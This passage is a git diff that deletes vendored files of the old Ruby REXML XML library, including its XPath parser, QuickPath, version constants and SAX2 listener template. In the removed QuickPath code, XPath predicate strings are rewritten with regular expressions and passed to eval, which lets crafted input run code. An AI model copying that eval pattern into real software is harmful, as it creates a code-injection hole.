-module REXML
-  module Parsers
-    # You don't want to use this class.  Really.  Use XPath, which is a wrapper
-    # for this class.  Believe me.  You don't want to poke around in here.
-    # There is strange, dark magic at work in this code.  Beware.  Go back!  Go
-    # back while you still can!
-    class XPathParser
-      include XMLTokens
-      LITERAL    = /^'([^']*)'|^"([^"]*)"/u
-
-      def namespaces=( namespaces )
-        Functions::namespace_context = namespaces
-        @namespaces = namespaces
-      end
-
-      def parse path
-        path.gsub!(/([\(\[])\s+/, '\1') # Strip ignorable spaces
-        path.gsub!( /\s+([\]\)])/, '\1' )
-        parsed = []
-        path = OrExpr(path, parsed)
-        parsed
-      end
-
-      def predicate path
-        parsed = []
-        Predicate( "[#{path}]", parsed )
-        parsed
-      end
-
-      def abbreviate( path )
-        path = path.kind_of?(String) ? parse( path ) : path
-        string = ""
-        document = false
-        while path.size > 0
-          op = path.shift
-          case op
-          when :node
-          when :attribute
-						string << "/" if string.size > 0
-						string << "@"
-          when :child
-						string << "/" if string.size > 0
-          when :descendant_or_self
-            string << "/"
-          when :self
-            string << "."
-          when :parent
-            string << ".."
-          when :any
-            string << "*"
-					when :text
-						string << "text()"
-          when :following, :following_sibling, 
-                :ancestor, :ancestor_or_self, :descendant, 
-                :namespace, :preceding, :preceding_sibling
-            string << "/" unless string.size == 0
-            string << op.to_s.tr("_", "-")
-            string << "::"
-          when :qname
-            prefix = path.shift
-            name = path.shift
-            string << prefix+":" if prefix.size > 0
-            string << name
-          when :predicate
-            string << '['
-            string << predicate_to_string( path.shift ) {|x| abbreviate( x ) }
-            string << ']'
-          when :document
-            document = true
-					when :function
-						string << path.shift
-						string << "( "
-						string << predicate_to_string( path.shift[0] ) {|x| abbreviate( x )}
-						string << " )"
-					when :literal
-						string << %Q{ "#{path.shift}" }
-          else
-            string << "/" unless string.size == 0
-            string << "UNKNOWN("
-            string << op.inspect
-            string << ")"
-          end
-        end
-				string = "/"+string if document
-        return string
-      end
-
-      def expand( path )
-        path = path.kind_of?(String) ? parse( path ) : path
-        string = ""
-        document = false
-        while path.size > 0
-          op = path.shift
-          case op
-          when :node
-            string << "node()"
-          when :attribute, :child, :following, :following_sibling, 
-                :ancestor, :ancestor_or_self, :descendant, :descendant_or_self,
-                :namespace, :preceding, :preceding_sibling, :self, :parent
-            string << "/" unless string.size == 0
-            string << op.to_s.tr("_", "-")
-            string << "::"
-          when :any
-            string << "*"
-          when :qname
-            prefix = path.shift
-            name = path.shift
-            string << prefix+":" if prefix.size > 0
-            string << name
-          when :predicate
-            string << '['
-            string << predicate_to_string( path.shift ) { |x| expand(x) }
-            string << ']'
-          when :document
-            document = true
-          else
-            string << "/" unless string.size == 0
-            string << "UNKNOWN("
-            string << op.inspect
-            string << ")"
-          end
-        end
-        string = "/"+string if document
-        return string
-      end
-
-      def predicate_to_string( path, &block )
-        string = ""
-        case path[0]
-        when :and, :or, :mult, :plus, :minus, :neq, :eq, :lt, :gt, :lteq, :gteq, :div, :mod, :union
-          op = path.shift
-          case op
-          when :eq
-            op = "="
-          when :lt
-            op = "<"
-          when :gt
-            op = ">"
-          when :lteq
-            op = "<="
-          when :gteq
-            op = ">="
-          when :neq
-            op = "!="
-          when :union
-            op = "|"
-          end
-          left = predicate_to_string( path.shift, &block )
-          right = predicate_to_string( path.shift, &block )
-          string << " "
-          string << left
-          string << " "
-          string << op.to_s
-          string << " "
-          string << right
-          string << " "
-        when :function
-          path.shift
-          name = path.shift
-          string << name
-          string << "( "
-          string << predicate_to_string( path.shift, &block )
-          string << " )"
-        when :literal
-          path.shift
-          string << " "
-          string << path.shift.inspect
-          string << " "
-        else
-          string << " "
-          string << yield( path )
-          string << " "
-        end
-        return string.squeeze(" ")
-      end
-
-      private
-      #LocationPath
-      #  | RelativeLocationPath
-      #  | '/' RelativeLocationPath?
-      #  | '//' RelativeLocationPath
-      def LocationPath path, parsed
-        #puts "LocationPath '#{path}'"
-        path = path.strip
-        if path[0] == ?/
-          parsed << :document
-          if path[1] == ?/
-            parsed << :descendant_or_self
-            parsed << :node
-            path = path[2..-1]
-          else
-            path = path[1..-1]
-          end
-        end
-        #puts parsed.inspect
-        return RelativeLocationPath( path, parsed ) if path.size > 0
-      end
-
-      #RelativeLocationPath
-      #  |                                                    Step
-      #    | (AXIS_NAME '::' | '@' | '')                     AxisSpecifier
-      #      NodeTest
-      #        Predicate
-      #    | '.' | '..'                                      AbbreviatedStep
-      #  |  RelativeLocationPath '/' Step
-      #  | RelativeLocationPath '//' Step
-      AXIS = /^(ancestor|ancestor-or-self|attribute|child|descendant|descendant-or-self|following|following-sibling|namespace|parent|preceding|preceding-sibling|self)::/
-      def RelativeLocationPath path, parsed
-        #puts "RelativeLocationPath #{path}"
-        while path.size > 0
-          # (axis or @ or <child::>) nodetest predicate  >
-          # OR                                          >  / Step
-          # (. or ..)                                    >
-          if path[0] == ?.
-            if path[1] == ?.
-              parsed << :parent
-              parsed << :node
-              path = path[2..-1]
-            else
-              parsed << :self
-              parsed << :node
-              path = path[1..-1]
-            end
-          else
-            if path[0] == ?@
-              #puts "ATTRIBUTE"
-              parsed << :attribute
-              path = path[1..-1]
-              # Goto Nodetest
-            elsif path =~ AXIS
-              parsed << $1.tr('-','_').intern
-              path = $'
-              # Goto Nodetest
-            else
-              parsed << :child
-            end
-
-            #puts "NODETESTING '#{path}'"
-            n = []
-            path = NodeTest( path, n)
-            #puts "NODETEST RETURNED '#{path}'"
-
-            if path[0] == ?[
-              path = Predicate( path, n )
-            end
-
-            parsed.concat(n)
-          end
-          
-          if path.size > 0
-            if path[0] == ?/
-              if path[1] == ?/
-                parsed << :descendant_or_self
-                parsed << :node
-                path = path[2..-1]
-              else
-                path = path[1..-1]
-              end
-            else
-              return path
-            end
-          end
-        end
-        return path
-      end
-
-      # Returns a 1-1 map of the nodeset
-      # The contents of the resulting array are either:
-      #   true/false, if a positive match
-      #   String, if a name match
-      #NodeTest
-      #  | ('*' | NCNAME ':' '*' | QNAME)                NameTest
-      #  | NODE_TYPE '(' ')'                              NodeType
-      #  | PI '(' LITERAL ')'                            PI
-      #    | '[' expr ']'                                Predicate
-      NCNAMETEST= /^(#{NCNAME_STR}):\*/u
-      QNAME     = Namespace::NAMESPLIT
-      NODE_TYPE  = /^(comment|text|node)\(\s*\)/m
-      PI        = /^processing-instruction\(/
-      def NodeTest path, parsed
-        #puts "NodeTest with #{path}"
-        res = nil
-        case path
-        when /^\*/
-          path = $'
-          parsed << :any
-        when NODE_TYPE
-          type = $1
-          path = $'
-          parsed << type.tr('-', '_').intern
-        when PI
-          path = $'
-          literal = nil
-          if path !~ /^\s*\)/
-            path =~ LITERAL
-            literal = $1
-            path = $'
-            raise ParseException.new("Missing ')' after processing instruction") if path[0] != ?)
-            path = path[1..-1]
-          end
-          parsed << :processing_instruction
-          parsed << (literal || '')
-        when NCNAMETEST
-          #puts "NCNAMETEST"
-          prefix = $1
-          path = $'
-          parsed << :namespace
-          parsed << prefix
-        when QNAME
-          #puts "QNAME"
-          prefix = $1
-          name = $2
-          path = $'
-          prefix = "" unless prefix
-          parsed << :qname
-          parsed << prefix
-          parsed << name
-        end
-        return path
-      end
-
-      # Filters the supplied nodeset on the predicate(s)
-      def Predicate path, parsed
-        #puts "PREDICATE with #{path}"
-        return nil unless path[0] == ?[
-        predicates = []
-        while path[0] == ?[
-          path, expr = get_group(path)
-          predicates << expr[1..-2] if expr
-        end
-        #puts "PREDICATES = #{predicates.inspect}"
-        predicates.each{ |pred| 
-          #puts "ORING #{pred}"
-          preds = []
-          parsed << :predicate
-          parsed << preds
-          OrExpr(pred, preds) 
-        }
-        #puts "PREDICATES = #{predicates.inspect}"
-        path
-      end
-
-      # The following return arrays of true/false, a 1-1 mapping of the
-      # supplied nodeset, except for axe(), which returns a filtered
-      # nodeset
-
-      #| OrExpr S 'or' S AndExpr
-      #| AndExpr
-      def OrExpr path, parsed
-        #puts "OR >>> #{path}"
-        n = []
-        rest = AndExpr( path, n )
-        #puts "OR <<< #{rest}"
-        if rest != path
-          while rest =~ /^\s*( or )/
-            n = [ :or, n, [] ]
-            rest = AndExpr( $', n[-1] )
-          end
-        end
-        if parsed.size == 0 and n.size != 0
-          parsed.replace(n)
-        elsif n.size > 0
-          parsed << n
-        end
-        rest
-      end
-
-      #| AndExpr S 'and' S EqualityExpr
-      #| EqualityExpr
-      def AndExpr path, parsed
-        #puts "AND >>> #{path}"
-        n = []
-        rest = EqualityExpr( path, n )
-        #puts "AND <<< #{rest}"
-        if rest != path
-          while rest =~ /^\s*( and )/
-            n = [ :and, n, [] ]
-            #puts "AND >>> #{rest}"
-            rest = EqualityExpr( $', n[-1] )
-            #puts "AND <<< #{rest}"
-          end
-        end
-        if parsed.size == 0 and n.size != 0
-          parsed.replace(n)
-        elsif n.size > 0
-          parsed << n
-        end
-        rest
-      end
-
-      #| EqualityExpr ('=' | '!=')  RelationalExpr
-      #| RelationalExpr
-      def EqualityExpr path, parsed
-        #puts "EQUALITY >>> #{path}"
-        n = []
-        rest = RelationalExpr( path, n )
-        #puts "EQUALITY <<< #{rest}"
-        if rest != path
-          while rest =~ /^\s*(!?=)\s*/
-            if $1[0] == ?!
-              n = [ :neq, n, [] ]
-            else
-              n = [ :eq, n, [] ]
-            end
-            rest = RelationalExpr( $', n[-1] )
-          end
-        end
-        if parsed.size == 0 and n.size != 0
-          parsed.replace(n)
-        elsif n.size > 0
-          parsed << n
-        end
-        rest
-      end
-
-      #| RelationalExpr ('<' | '>' | '<=' | '>=') AdditiveExpr
-      #| AdditiveExpr
-      def RelationalExpr path, parsed
-        #puts "RELATION >>> #{path}"
-        n = []
-        rest = AdditiveExpr( path, n )
-        #puts "RELATION <<< #{rest}"
-        if rest != path
-          while rest =~ /^\s*([<>]=?)\s*/
-            if $1[0] == ?<
-              sym = "lt"
-            else
-              sym = "gt"
-            end
-            sym << "eq" if $1[-1] == ?=
-            n = [ sym.intern, n, [] ]
-            rest = AdditiveExpr( $', n[-1] )
-          end
-        end
-        if parsed.size == 0 and n.size != 0
-          parsed.replace(n)
-        elsif n.size > 0
-          parsed << n
-        end
-        rest
-      end
-
-      #| AdditiveExpr ('+' | S '-') MultiplicativeExpr
-      #| MultiplicativeExpr
-      def AdditiveExpr path, parsed
-        #puts "ADDITIVE >>> #{path}"
-        n = []
-        rest = MultiplicativeExpr( path, n )
-        #puts "ADDITIVE <<< #{rest}"
-        if rest != path
-          while rest =~ /^\s*(\+| -)\s*/
-            if $1[0] == ?+
-              n = [ :plus, n, [] ]
-            else
-              n = [ :minus, n, [] ]
-            end
-            rest = MultiplicativeExpr( $', n[-1] )
-          end
-        end
-        if parsed.size == 0 and n.size != 0
-          parsed.replace(n)
-        elsif n.size > 0
-          parsed << n
-        end
-        rest
-      end
-
-      #| MultiplicativeExpr ('*' | S ('div' | 'mod') S) UnaryExpr
-      #| UnaryExpr
-      def MultiplicativeExpr path, parsed
-        #puts "MULT >>> #{path}"
-        n = []
-        rest = UnaryExpr( path, n )
-        #puts "MULT <<< #{rest}"
-        if rest != path
-          while rest =~ /^\s*(\*| div | mod )\s*/
-            if $1[0] == ?*
-              n = [ :mult, n, [] ]
-            elsif $1.include?( "div" )
-              n = [ :div, n, [] ]
-            else
-              n = [ :mod, n, [] ]
-            end
-            rest = UnaryExpr( $', n[-1] )
-          end
-        end
-        if parsed.size == 0 and n.size != 0
-          parsed.replace(n)
-        elsif n.size > 0
-          parsed << n
-        end
-        rest
-      end
-
-      #| '-' UnaryExpr
-      #| UnionExpr
-      def UnaryExpr path, parsed
-        path =~ /^(\-*)/
-        path = $'
-        if $1 and (($1.size % 2) != 0)
-          mult = -1
-        else
-          mult = 1
-        end
-        parsed << :neg if mult < 0
-
-        #puts "UNARY >>> #{path}"
-        n = []
-        path = UnionExpr( path, n )
-        #puts "UNARY <<< #{path}"
-        parsed.concat( n )
-        path
-      end
-
-      #| UnionExpr '|' PathExpr
-      #| PathExpr
-      def UnionExpr path, parsed
-        #puts "UNION >>> #{path}"
-        n = []
-        rest = PathExpr( path, n )
-        #puts "UNION <<< #{rest}"
-        if rest != path
-          while rest =~ /^\s*(\|)\s*/
-            n = [ :union, n, [] ]
-            rest = PathExpr( $', n[-1] )
-          end
-        end
-        if parsed.size == 0 and n.size != 0
-          parsed.replace( n )
-        elsif n.size > 0
-          parsed << n
-        end
-        rest
-      end
-
-      #| LocationPath
-      #| FilterExpr ('/' | '//') RelativeLocationPath
-      def PathExpr path, parsed
-        path =~ /^\s*/
-        path = $'
-        #puts "PATH >>> #{path}"
-        n = []
-        rest = FilterExpr( path, n )
-        #puts "PATH <<< '#{rest}'"
-        if rest != path
-          if rest and rest[0] == ?/
-            return RelativeLocationPath(rest, n)
-          end
-        end
-        #puts "BEFORE WITH '#{rest}'"
-        rest = LocationPath(rest, n) if rest =~ /\A[\/\.\@\[\w_*]/
-        parsed.concat(n)
-        return rest
-      end
-
-      #| FilterExpr Predicate
-      #| PrimaryExpr
-      def FilterExpr path, parsed
-        #puts "FILTER >>> #{path}"
-        n = []
-        path = PrimaryExpr( path, n )
-        #puts "FILTER <<< #{path}"
-        path = Predicate(path, n) if path and path[0] == ?[
-        #puts "FILTER <<< #{path}"
-        parsed.concat(n)
-        path
-      end
-
-      #| VARIABLE_REFERENCE
-      #| '(' expr ')'
-      #| LITERAL
-      #| NUMBER
-      #| FunctionCall
-      VARIABLE_REFERENCE  = /^\$(#{NAME_STR})/u
-      NUMBER              = /^(\d*\.?\d+)/
-      NT        = /^comment|text|processing-instruction|node$/
-      def PrimaryExpr path, parsed
-        arry = []
-        case path
-        when VARIABLE_REFERENCE
-          varname = $1
-          path = $'
-          parsed << :variable
-          parsed << varname
-          #arry << @variables[ varname ]
-        when /^(\w[-\w]*)(?:\()/
-          #puts "PrimaryExpr :: Function >>> #$1 -- '#$''"
-          fname = $1
-          tmp = $'
-          #puts "#{fname} =~ #{NT.inspect}"
-          return path if fname =~ NT
-          path = tmp
-          parsed << :function
-          parsed << fname
-          path = FunctionCall(path, parsed)
-        when NUMBER
-          #puts "LITERAL or NUMBER: #$1"
-          varname = $1.nil? ? $2 : $1
-          path = $'
-          parsed << :literal 
-          parsed << (varname.include?('.') ? varname.to_f : varname.to_i)
-        when LITERAL
-          #puts "LITERAL or NUMBER: #$1"
-          varname = $1.nil? ? $2 : $1
-          path = $'
-          parsed << :literal 
-          parsed << varname
-        when /^\(/                                               #/
-          path, contents = get_group(path)
-          contents = contents[1..-2]
-          n = []
-          OrExpr( contents, n )
-          parsed.concat(n)
-        end
-        path
-      end
-
-      #| FUNCTION_NAME '(' ( expr ( ',' expr )* )? ')'
-      def FunctionCall rest, parsed
-        path, arguments = parse_args(rest)
-        argset = []
-        for argument in arguments
-          args = []
-          OrExpr( argument, args )
-          argset << args
-        end
-        parsed << argset
-        path
-      end
-
-      # get_group( '[foo]bar' ) -> ['bar', '[foo]']
-      def get_group string
-        ind = 0
-        depth = 0
-        st = string[0,1]
-        en = (st == "(" ? ")" : "]")
-        begin
-          case string[ind,1]
-          when st
-            depth += 1
-          when en
-            depth -= 1
-          end
-          ind += 1
-        end while depth > 0 and ind < string.length
-        return nil unless depth==0
-        [string[ind..-1], string[0..ind-1]]
-      end
-      
-      def parse_args( string )
-        arguments = []
-        ind = 0
-				inquot = false
-				inapos = false
-        depth = 1
-        begin
-          case string[ind]
-          when ?"
-          	inquot = !inquot unless inapos
-          when ?'
-          	inapos = !inapos unless inquot
-          else
-          	unless inquot or inapos
-          		case string[ind]
-							when ?(
-								depth += 1
-                if depth == 1
-                	string = string[1..-1]
-                	ind -= 1
-                end
-							when ?)
-								depth -= 1
-								if depth == 0
-									s = string[0,ind].strip
-									arguments << s unless s == ""
-									string = string[ind+1..-1]
-								end
-							when ?,
-								if depth == 1
-									s = string[0,ind].strip
-									arguments << s unless s == ""
-									string = string[ind+1..-1]
-									ind = -1 
-								end
-							end
-            end
-          end
-          ind += 1
-        end while depth > 0 and ind < string.length
-        return nil unless depth==0
-        [string,arguments]
-      end
-    end
-  end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/quickpath.rb b/vendor/plugins/rexml/lib/rexml/quickpath.rb
deleted file mode 100644
index cdf4c530..00000000
--- a/vendor/plugins/rexml/lib/rexml/quickpath.rb
+++ /dev/null
@@ -1,263 +0,0 @@
-require 'rexml/functions'
-require 'rexml/xmltokens'
-
-module REXML
-	class QuickPath
-		include Functions
-		include XMLTokens
-
-		EMPTY_HASH = {}
-
-		def QuickPath::first element, path, namespaces=EMPTY_HASH
-			match(element, path, namespaces)[0]
-		end
-
-		def QuickPath::each element, path, namespaces=EMPTY_HASH, &block
-			path = "*" unless path
-			match(element, path, namespaces).each( &block )
-		end
-
-		def QuickPath::match element, path, namespaces=EMPTY_HASH
-			raise "nil is not a valid xpath" unless path
-			results = nil
-			Functions::namespace_context = namespaces
-			case path
-			when /^\/([^\/]|$)/u
-				# match on root
-				path = path[1..-1]
-				return [element.root.parent] if path == ''
-				results = filter([element.root], path)
-			when /^[-\w]*::/u
-				results = filter([element], path)
-			when /^\*/u
-				results = filter(element.to_a, path)
-			when /^[\[!\w:]/u
-				# match on child
-				matches = []
-				children = element.to_a
-				results = filter(children, path)
-			else
-				results = filter([element], path)
-			end
-			return results
-		end
-
-		# Given an array of nodes it filters the array based on the path. The
-		# result is that when this method returns, the array will contain elements
-		# which match the path
-		def QuickPath::filter elements, path
-			return elements if path.nil? or path == '' or elements.size == 0
-			case path
-			when /^\/\//u											# Descendant
-				return axe( elements, "descendant-or-self", $' )
-			when /^\/?\b(\w[-\w]*)\b::/u							# Axe
-				axe_name = $1
-				rest = $'
-				return axe( elements, $1, $' )
-			when /^\/(?=\b([:!\w][-\.\w]*:)?[-!\*\.\w]*\b([^:(]|$)|\*)/u	# Child
-				rest = $'
-				results = []
-				elements.each do |element|
-					results |= filter( element.to_a, rest )
-				end
-				return results
-			when /^\/?(\w[-\w]*)\(/u							# / Function
-				return function( elements, $1, $' )
-			when Namespace::NAMESPLIT		# Element name
-				name = $2
-				ns = $1
-				rest = $'
-				elements.delete_if do |element|
-					!(element.kind_of? Element and 
-						(element.expanded_name == name or
-						 (element.name == name and
-						  element.namespace == Functions.namespace_context[ns])))
-				end
-				return filter( elements, rest )
-			when /^\/\[/u
-				matches = []
-				elements.each do |element|
-					matches |= predicate( element.to_a, path[1..-1] ) if element.kind_of? Element
-				end
-				return matches
-			when /^\[/u												# Predicate
-				return predicate( elements, path )
-			when /^\/?\.\.\./u										# Ancestor
-				return axe( elements, "ancestor", $' )
-			when /^\/?\.\./u											# Parent
-				return filter( elements.collect{|e|e.parent}, $' )
-			when /^\/?\./u												# Self
-				return filter( elements, $' )
-			when /^\*/u													# Any
-				results = []
-				elements.each do |element|
-					results |= filter( [element], $' ) if element.kind_of? Element
-					#if element.kind_of? Element
-					#	children = element.to_a
-					#	children.delete_if { |child| !child.kind_of?(Element) }
-					#	results |= filter( children, $' )
-					#end
-				end
-				return results
-			end
-			return []
-		end
-
-		def QuickPath::axe( elements, axe_name, rest )
-			matches = []
-			matches = filter( elements.dup, rest ) if axe_name =~ /-or-self$/u
-			case axe_name
-			when /^descendant/u
-				elements.each do |element|
-					matches |= filter( element.to_a, "descendant-or-self::#{rest}" ) if element.kind_of? Element
-				end
-			when /^ancestor/u
-				elements.each do |element|
-					while element.parent
-						matches << element.parent
-						element = element.parent
-					end
-				end
-				matches = filter( matches, rest )
-			when "self"
-				matches = filter( elements, rest )
-			when "child"
-				elements.each do |element|
-					matches |= filter( element.to_a, rest ) if element.kind_of? Element
-				end
-			when "attribute"
-				elements.each do |element|
-					matches << element.attributes[ rest ] if element.kind_of? Element
-				end
-			when "parent"
-				matches = filter(elements.collect{|element| element.parent}.uniq, rest)
-			when "following-sibling"
-				matches = filter(elements.collect{|element| element.next_sibling}.uniq,
-					rest)
-			when "previous-sibling"
-				matches = filter(elements.collect{|element| 
-					element.previous_sibling}.uniq, rest )
-			end
-			return matches.uniq
-		end
-
-		# A predicate filters a node-set with respect to an axis to produce a
-		# new node-set. For each node in the node-set to be filtered, the 
-		# PredicateExpr is evaluated with that node as the context node, with 
-		# the number of nodes in the node-set as the context size, and with the 
-		# proximity position of the node in the node-set with respect to the
-		# axis as the context position; if PredicateExpr evaluates to true for
-		# that node, the node is included in the new node-set; otherwise, it is
-		# not included.
-		#
-		# A PredicateExpr is evaluated by evaluating the Expr and converting
-		# the result to a boolean. If the result is a number, the result will
-		# be converted to true if the number is equal to the context position
-		# and will be converted to false otherwise; if the result is not a
-		# number, then the result will be converted as if by a call to the
-		# boolean function. Thus a location path para[3] is equivalent to
-		# para[position()=3].
-		def QuickPath::predicate( elements, path ) 
-			ind = 1
-			bcount = 1
-			while bcount > 0
-				bcount += 1 if path[ind] == ?[
-				bcount -= 1 if path[ind] == ?]
-				ind += 1
-			end
-			ind -= 1
-			predicate = path[1..ind-1]
-			rest = path[ind+1..-1]
-
-			# have to change 'a [=<>] b [=<>] c' into 'a [=<>] b and b [=<>] c'
-			predicate.gsub!( /([^\s(and)(or)<>=]+)\s*([<>=])\s*([^\s(and)(or)<>=]+)\s*([<>=])\s*([^\s(and)(or)<>=]+)/u,
-				'\1 \2 \3 and \3 \4 \5' )
-			# Let's do some Ruby trickery to avoid some work:
-			predicate.gsub!( /&/u, "&&" )
-			predicate.gsub!( /=/u, "==" )
-			predicate.gsub!( /@(\w[-\w.]*)/u, 'attribute("\1")' ) 
-			predicate.gsub!( /\bmod\b/u, "%" )
-			predicate.gsub!( /\b(\w[-\w.]*\()/u ) {
-				fname = $1
-				fname.gsub( /-/u, "_" )
-			}
-			
-			Functions.pair = [ 0, elements.size ]
-			results = []
-			elements.each do |element|
-				Functions.pair[0] += 1
-				Functions.node = element
-				res = eval( predicate )
-				case res
-				when true
-					results << element
-				when Fixnum
-					results << element if Functions.pair[0] == res
-				when String
-					results << element
-				end
-			end
-			return filter( results, rest )
-		end
-
-		def QuickPath::attribute( name )
-			return Functions.node.attributes[name] if Functions.node.kind_of? Element
-		end
-
-		def QuickPath::name()
-			return Functions.node.name if Functions.node.kind_of? Element
-		end
-
-		def QuickPath::method_missing( id, *args )
-			begin
-				Functions.send( id.id2name, *args )
-			rescue Exception
-				raise "METHOD: #{id.id2name}(#{args.join ', '})\n#{$!.message}"
-			end
-		end
-
-		def QuickPath::function( elements, fname, rest )
-			args = parse_args( elements, rest )
-			Functions.pair = [0, elements.size]
-			results = []
-			elements.each do |element|
-				Functions.pair[0] += 1
-				Functions.node = element
-				res = Functions.send( fname, *args )
-				case res
-				when true
-					results << element
-				when Fixnum
-					results << element if Functions.pair[0] == res
-				end
-			end
-			return results
-		end
-
-		def QuickPath::parse_args( element, string )
-			# /.*?(?:\)|,)/
-			arguments = []
-			buffer = ""
-			while string and string != ""
-				c = string[0]
-				string.sub!(/^./u, "")
-				case c
-				when ?,
-					# if depth = 1, then we start a new argument
-					arguments << evaluate( buffer )
-					#arguments << evaluate( string[0..count] )
-				when ?(
-					# start a new method call
-					function( element, buffer, string )
-					buffer = ""
-				when ?)
-					# close the method call and return arguments
-					return arguments
-				else
-					buffer << c
-				end
-			end
-			""
-		end
-	end
-end
diff --git a/vendor/plugins/rexml/lib/rexml/rexml.rb b/vendor/plugins/rexml/lib/rexml/rexml.rb
deleted file mode 100644
index 891ef208..00000000
--- a/vendor/plugins/rexml/lib/rexml/rexml.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-# -*- encoding: utf-8 -*-
-# REXML is an XML toolkit for Ruby[http://www.ruby-lang.org], in Ruby.
-#
-# REXML is a _pure_ Ruby, XML 1.0 conforming,
-# non-validating[http://www.w3.org/TR/2004/REC-xml-20040204/#sec-conformance]
-# toolkit with an intuitive API.  REXML passes 100% of the non-validating Oasis
-# tests[http://www.oasis-open.org/committees/xml-conformance/xml-test-suite.shtml],
-# and provides tree, stream, SAX2, pull, and lightweight APIs.  REXML also 
-# includes a full XPath[http://www.w3c.org/tr/xpath] 1.0 implementation. Since 
-# Ruby 1.8, REXML is included in the standard Ruby distribution.
-#
-# Main page:: http://www.germane-software.com/software/rexml
-# Author:: Sean Russell <serATgermaneHYPHENsoftwareDOTcom>
-# Version:: 3.1.7.4
-# Date:: 2008/100
-# 
-# This API documentation can be downloaded from the REXML home page, or can
-# be accessed online[http://www.germane-software.com/software/rexml_doc]
-#
-# A tutorial is available in the REXML distribution in docs/tutorial.html,
-# or can be accessed 
-# online[http://www.germane-software.com/software/rexml/docs/tutorial.html]
-module REXML
-  COPYRIGHT = "Copyright © 2001-2008 Sean Russell <ser@germane-software.com>"
-  DATE = "2008/100"
-  VERSION = "3.1.7.4"
-  REVISION = "$Revision: 1312 $".gsub(/\$Revision:|\$/,'').strip
-
-  Copyright = COPYRIGHT
-  Version = VERSION
-end
diff --git a/vendor/plugins/rexml/lib/rexml/sax2listener.rb b/vendor/plugins/rexml/lib/rexml/sax2listener.rb
deleted file mode 100644
index 8db1389d..00000000
--- a/vendor/plugins/rexml/lib/rexml/sax2listener.rb
+++ /dev/null
@@ -1,97 +0,0 @@
-module REXML
-	# A template for stream parser listeners.
-	# Note that the declarations (attlistdecl, elementdecl, etc) are trivially
-	# processed; REXML doesn't yet handle doctype entity declarations, so you 
-	# have to parse them out yourself.
-	# === Missing methods from SAX2
-	#  ignorable_whitespace
-	# === Methods extending SAX2 
-	# +WARNING+
-	# These methods are certainly going to change, until DTDs are fully
-	# supported.  Be aware of this.
-	#  start_document
-	#  end_document
-	#  doctype
-	#  elementdecl
-	#  attlistdecl
-	#  entitydecl
-	#  notationdecl
-	#  cdata
-	#  xmldecl
-	#  comment
-	module SAX2Listener
-		def start_document
-		end
-		def end_document
-		end
-		def start_prefix_mapping prefix, uri
-		end
-		def end_prefix_mapping prefix
-		end
-		def start_element uri, localname, qname, attributes
-		end
-		def end_element uri, localname, qname
-		end
-		def characters text
-		end
-		def processing_instruction target, data
-		end
-		# Handles a doctype declaration. Any attributes of the doctype which are
-		# not supplied will be nil.  # EG, <!DOCTYPE me PUBLIC "foo" "bar">
-		# @p name the name of the doctype; EG, "me"
-		# @p pub_sys "PUBLIC", "SYSTEM", or nil.  EG, "PUBLIC"
-		# @p long_name the supplied long name, or nil.  EG, "foo"
-		# @p uri the uri of the doctype, or nil.  EG, "bar"
-		def doctype name, pub_sys, long_name, uri
-		end
-		# If a doctype includes an ATTLIST declaration, it will cause this
-		# method to be called.  The content is the declaration itself, unparsed.
-		# EG, <!ATTLIST el attr CDATA #REQUIRED> will come to this method as "el
-		# attr CDATA #REQUIRED".  This is the same for all of the .*decl
-		# methods.
-		def attlistdecl(element, pairs, contents)
-		end
-		# <!ELEMENT ...>
-		def elementdecl content
-		end
-		# <!ENTITY ...>
-		# The argument passed to this method is an array of the entity
-		# declaration.  It can be in a number of formats, but in general it
-		# returns (example, result):
-		#  <!ENTITY % YN '"Yes"'>  
-		#  ["%", "YN", "'\"Yes\"'", "\""]
-		#  <!ENTITY % YN 'Yes'>
-		#  ["%", "YN", "'Yes'", "s"]
-		#  <!ENTITY WhatHeSaid "He said %YN;">
-		#  ["WhatHeSaid", "\"He said %YN;\"", "YN"]
-		#  <!ENTITY open-hatch SYSTEM "http://www.textuality.com/boilerplate/OpenHatch.xml">
-		#  ["open-hatch", "SYSTEM", "\"http://www.textuality.com/boilerplate/OpenHatch.xml\""]
-		#  <!ENTITY open-hatch PUBLIC "-//Textuality//TEXT Standard open-hatch boilerplate//EN" "http://www.textuality.com/boilerplate/OpenHatch.xml">
-		#  ["open-hatch", "PUBLIC", "\"-//Textuality//TEXT Standard open-hatch boilerplate//EN\"", "\"http://www.textuality.com/boilerplate/OpenHatch.xml\""]
-		#  <!ENTITY hatch-pic SYSTEM "../grafix/OpenHatch.gif" NDATA gif>
-		#  ["hatch-pic", "SYSTEM", "\"../grafix/OpenHatch.gif\"", "\n\t\t\t\t\t\t\tNDATA gif", "gif"]
-		def entitydecl name, decl
-		end
-		# <!NOTATION ...>
-		def notationdecl content
-		end
-		# Called when <![CDATA[ ... ]]> is encountered in a document.
-		# @p content "..."
-		def cdata content
-		end
-		# Called when an XML PI is encountered in the document.
-		# EG: <?xml version="1.0" encoding="utf"?>
-		# @p version the version attribute value.  EG, "1.0"
-		# @p encoding the encoding attribute value, or nil.  EG, "utf"
-		# @p standalone the standalone attribute value, or nil.  EG, nil
-    # @p spaced the declaration is followed by a line break
-		def xmldecl version, encoding, standalone
-		end
-		# Called when a comment is encountered.
-		# @p comment The content of the comment
-		def comment comment
-		end
-    def progress position
-    end
-	end	
-end
diff --git a/vendor/plugins/rexml/lib/rexml/source.rb b/vendor/plugins/rexml/lib/rexml/source.rb
deleted file mode 100644
index d4335138..00000000
--- a/vendor/plugins/rexml/lib/rexml/source.rb
+++ /dev/null
@@ -1,258 +0,0 @@
-require 'rexml/encoding'
-
-module REXML
-  # Generates Source-s.  USE THIS CLASS.
-  class SourceFactory
-    # Generates a Source object
-    # @param arg Either a String, or an IO
-    # @return a Source, or nil if a bad argument was given
-    def SourceFactory::create_from(arg)
-      if arg.respond_to? :read and
-          arg.respond_to? :readline and
-          arg.respond_to? :nil? and
-          arg.respond_to? :eof?
-        IOSource.new(arg)
-      elsif arg.respond_to? :to_str
-        require 'stringio'
-        IOSource.new(StringIO.new(arg))
-      elsif arg.kind_of? Source
-        arg
-      else
-        raise "#{arg.class} is not a valid input stream.  It must walk \n"+
-          "like either a String, an IO, or a Source."
-      end
-    end
-  end
-
-  # A Source can be searched for patterns, and wraps buffers and other
-  # objects and provides consumption of text
-  class Source
-    include Encoding
-    # The current buffer (what we're going to read next)
-    attr_reader :buffer
-    # The line number of the last consumed text
-    attr_reader :line
-    attr_reader :encoding
-
-    # Constructor
